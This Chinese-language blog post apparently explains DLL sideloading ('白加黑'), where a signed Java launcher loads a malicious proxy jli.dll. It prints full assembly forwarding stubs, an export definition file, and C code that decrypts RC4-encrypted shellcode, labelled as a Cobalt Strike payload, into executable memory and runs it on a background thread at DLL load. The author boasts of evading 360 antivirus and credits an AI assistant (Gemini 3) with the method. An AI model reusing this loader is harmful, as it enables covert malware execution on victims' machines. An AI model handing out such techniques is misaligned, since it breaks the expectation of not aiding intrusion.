白加黑中如何使白程序正常运行

白加黑原理

我们知道白加黑技术的原理是白程序+黑dll,黑dll中包含了一些恶意代码,当白程序运行时,会加载黑dll,从而执行黑dll中的恶意代码。
为了高效率学习,直接问gemini3怎么可以让白程序正常运行,不去搜博客技术文章了。


我们先来看看原效果

绕过了360,但是没办法执行出java版本,而且进程会阻塞住

链接器指令静态转发

试过了,被杀软杀烂了,特征太明显了

基于汇编的动态代理

跟着gemini3的步骤来

具体的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
.code

; 声明 C 代码里的全局变量(用来存原函数的真地址)
EXTERN pJLI_AddArgsFromEnvVar:QWORD
EXTERN pJLI_CmdToArgs:QWORD
EXTERN pJLI_GetAppArgIndex:QWORD
EXTERN pJLI_GetStdArgc:QWORD
EXTERN pJLI_GetStdArgs:QWORD
EXTERN pJLI_InitArgProcessing:QWORD
EXTERN pJLI_Launch:QWORD
EXTERN pJLI_List_add:QWORD
EXTERN pJLI_List_new:QWORD
EXTERN pJLI_ManifestIterate:QWORD
EXTERN pJLI_MemAlloc:QWORD
EXTERN pJLI_MemFree:QWORD
EXTERN pJLI_PreprocessArg:QWORD
EXTERN pJLI_ReportErrorMessage:QWORD
EXTERN pJLI_ReportErrorMessageSys:QWORD
EXTERN pJLI_ReportExceptionDescription:QWORD
EXTERN pJLI_ReportMessage:QWORD
EXTERN pJLI_SetTraceLauncher:QWORD
EXTERN pJLI_StringDup:QWORD

; 定义导出函数,收到调用直接飞到真地址去
JLI_AddArgsFromEnvVar PROC
jmp pJLI_AddArgsFromEnvVar
JLI_AddArgsFromEnvVar ENDP

JLI_CmdToArgs PROC
jmp pJLI_CmdToArgs
JLI_CmdToArgs ENDP

JLI_GetAppArgIndex PROC
jmp pJLI_GetAppArgIndex
JLI_GetAppArgIndex ENDP

JLI_GetStdArgc PROC
jmp pJLI_GetStdArgc
JLI_GetStdArgc ENDP

JLI_GetStdArgs PROC
jmp pJLI_GetStdArgs
JLI_GetStdArgs ENDP

JLI_InitArgProcessing PROC
jmp pJLI_InitArgProcessing
JLI_InitArgProcessing ENDP

JLI_Launch PROC
jmp pJLI_Launch
JLI_Launch ENDP

JLI_List_add PROC
jmp pJLI_List_add
JLI_List_add ENDP

JLI_List_new PROC
jmp pJLI_List_new
JLI_List_new ENDP

JLI_ManifestIterate PROC
jmp pJLI_ManifestIterate
JLI_ManifestIterate ENDP

JLI_MemAlloc PROC
jmp pJLI_MemAlloc
JLI_MemAlloc ENDP

JLI_MemFree PROC
jmp pJLI_MemFree
JLI_MemFree ENDP

JLI_PreprocessArg PROC
jmp pJLI_PreprocessArg
JLI_PreprocessArg ENDP

JLI_ReportErrorMessage PROC
jmp pJLI_ReportErrorMessage
JLI_ReportErrorMessage ENDP

JLI_ReportErrorMessageSys PROC
jmp pJLI_ReportErrorMessageSys
JLI_ReportErrorMessageSys ENDP

JLI_ReportExceptionDescription PROC
jmp pJLI_ReportExceptionDescription
JLI_ReportExceptionDescription ENDP

JLI_ReportMessage PROC
jmp pJLI_ReportMessage
JLI_ReportMessage ENDP

JLI_SetTraceLauncher PROC
jmp pJLI_SetTraceLauncher
JLI_SetTraceLauncher ENDP

JLI_StringDup PROC
jmp pJLI_StringDup
JLI_StringDup ENDP

END

然后是导出定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
LIBRARY "jli.dll"
EXPORTS
JLI_AddArgsFromEnvVar
JLI_CmdToArgs
JLI_GetAppArgIndex
JLI_GetStdArgc
JLI_GetStdArgs
JLI_InitArgProcessing
JLI_Launch
JLI_List_add
JLI_List_new
JLI_ManifestIterate
JLI_MemAlloc
JLI_MemFree
JLI_PreprocessArg
JLI_ReportErrorMessage
JLI_ReportErrorMessageSys
JLI_ReportExceptionDescription
JLI_ReportMessage
JLI_SetTraceLauncher
JLI_StringDup

然后是main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#include "rc4.h" // 你的加密头文件
#include <stdio.h>
#include <Windows.h>

// 1. 定义全局指针(给 ASM 用)
UINT_PTR pJLI_AddArgsFromEnvVar = 0;
UINT_PTR pJLI_CmdToArgs = 0;
UINT_PTR pJLI_GetAppArgIndex = 0;
UINT_PTR pJLI_GetStdArgc = 0;
UINT_PTR pJLI_GetStdArgs = 0;
UINT_PTR pJLI_InitArgProcessing = 0;
UINT_PTR pJLI_Launch = 0;
UINT_PTR pJLI_List_add = 0;
UINT_PTR pJLI_List_new = 0;
UINT_PTR pJLI_ManifestIterate = 0;
UINT_PTR pJLI_MemAlloc = 0;
UINT_PTR pJLI_MemFree = 0;
UINT_PTR pJLI_PreprocessArg = 0;
UINT_PTR pJLI_ReportErrorMessage = 0;
UINT_PTR pJLI_ReportErrorMessageSys = 0;
UINT_PTR pJLI_ReportExceptionDescription = 0;
UINT_PTR pJLI_ReportMessage = 0;
UINT_PTR pJLI_SetTraceLauncher = 0;
UINT_PTR pJLI_StringDup = 0;

HMODULE hOrg = NULL;

// 2. 初始化代理函数:加载原DLL并获取地址
void SetupProxies() {
if (hOrg) return;
// 加载被改名的原DLL
hOrg = LoadLibrary(L"test.dll");
if (!hOrg) return;

// 获取真实地址并赋值给全局变量
pJLI_AddArgsFromEnvVar = (UINT_PTR)GetProcAddress(hOrg, "JLI_AddArgsFromEnvVar");
pJLI_CmdToArgs = (UINT_PTR)GetProcAddress(hOrg, "JLI_CmdToArgs");
pJLI_GetAppArgIndex = (UINT_PTR)GetProcAddress(hOrg, "JLI_GetAppArgIndex");
pJLI_GetStdArgc = (UINT_PTR)GetProcAddress(hOrg, "JLI_GetStdArgc");
pJLI_GetStdArgs = (UINT_PTR)GetProcAddress(hOrg, "JLI_GetStdArgs");
pJLI_InitArgProcessing = (UINT_PTR)GetProcAddress(hOrg, "JLI_InitArgProcessing");
pJLI_Launch = (UINT_PTR)GetProcAddress(hOrg, "JLI_Launch");
pJLI_List_add = (UINT_PTR)GetProcAddress(hOrg, "JLI_List_add");
pJLI_List_new = (UINT_PTR)GetProcAddress(hOrg, "JLI_List_new");
pJLI_ManifestIterate = (UINT_PTR)GetProcAddress(hOrg, "JLI_ManifestIterate");
pJLI_MemAlloc = (UINT_PTR)GetProcAddress(hOrg, "JLI_MemAlloc");
pJLI_MemFree = (UINT_PTR)GetProcAddress(hOrg, "JLI_MemFree");
pJLI_PreprocessArg = (UINT_PTR)GetProcAddress(hOrg, "JLI_PreprocessArg");
pJLI_ReportErrorMessage = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportErrorMessage");
pJLI_ReportErrorMessageSys = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportErrorMessageSys");
pJLI_ReportExceptionDescription = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportExceptionDescription");
pJLI_ReportMessage = (UINT_PTR)GetProcAddress(hOrg, "JLI_ReportMessage");
pJLI_SetTraceLauncher = (UINT_PTR)GetProcAddress(hOrg, "JLI_SetTraceLauncher");
pJLI_StringDup = (UINT_PTR)GetProcAddress(hOrg, "JLI_StringDup");
}

// 3. Shellcode 区域
unsigned char shellcode[] = {
// ... 你的 CS Payload ...
0x90, 0x90 // 示例
};
unsigned char key[] = { 0x77, 0x61, 0x61, 0x73, 0x64 };

// 4. 恶意线程:在后台跑,不阻塞主程序
DWORD WINAPI PayloadThread(LPVOID lpParam) {
SIZE_T size = sizeof(shellcode);

// 申请内存 (RWX) - 生产环境建议先 RW 再改成 RX
LPVOID pMem = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pMem) return 0;

memcpy(pMem, shellcode, size);
decrypt_mem(pMem, size, key, sizeof(key)); // 你的解密函数

// 执行
((void(*)())pMem)();

return 0;
}

// 5. DLL 入口
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
// 第一步:必须先初始化代理,否则白程序调用函数时会跳到空地址导致崩溃
SetupProxies();

// 第二步:启动后台线程跑马,解决阻塞问题
CreateThread(NULL, 0, PayloadThread, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
if (hOrg) FreeLibrary(hOrg);
break;
}
return TRUE;
}

但是我试过了,这是非分离式的代码,会被杀的,所以需要分离式的,然后再加上一些免杀手法,是可以过的,具体代码我就不放了,反正效果是可以无感过360的,白程序也可以正常运行。但是有一个问题,白程序正常运行了之后,是会退出的,比如我java –version,正常输出版本信息之后就退出了,这时我的shellcode线程也会退出,需要找个方法解决,老办法,还是靠gemini3


  • 正在编写中….

白加黑中如何使白程序正常运行
https://rightevil.github.io/白加黑中如何使白程序正常运行/
作者
rightevil
发布于
2025年12月1日
许可协议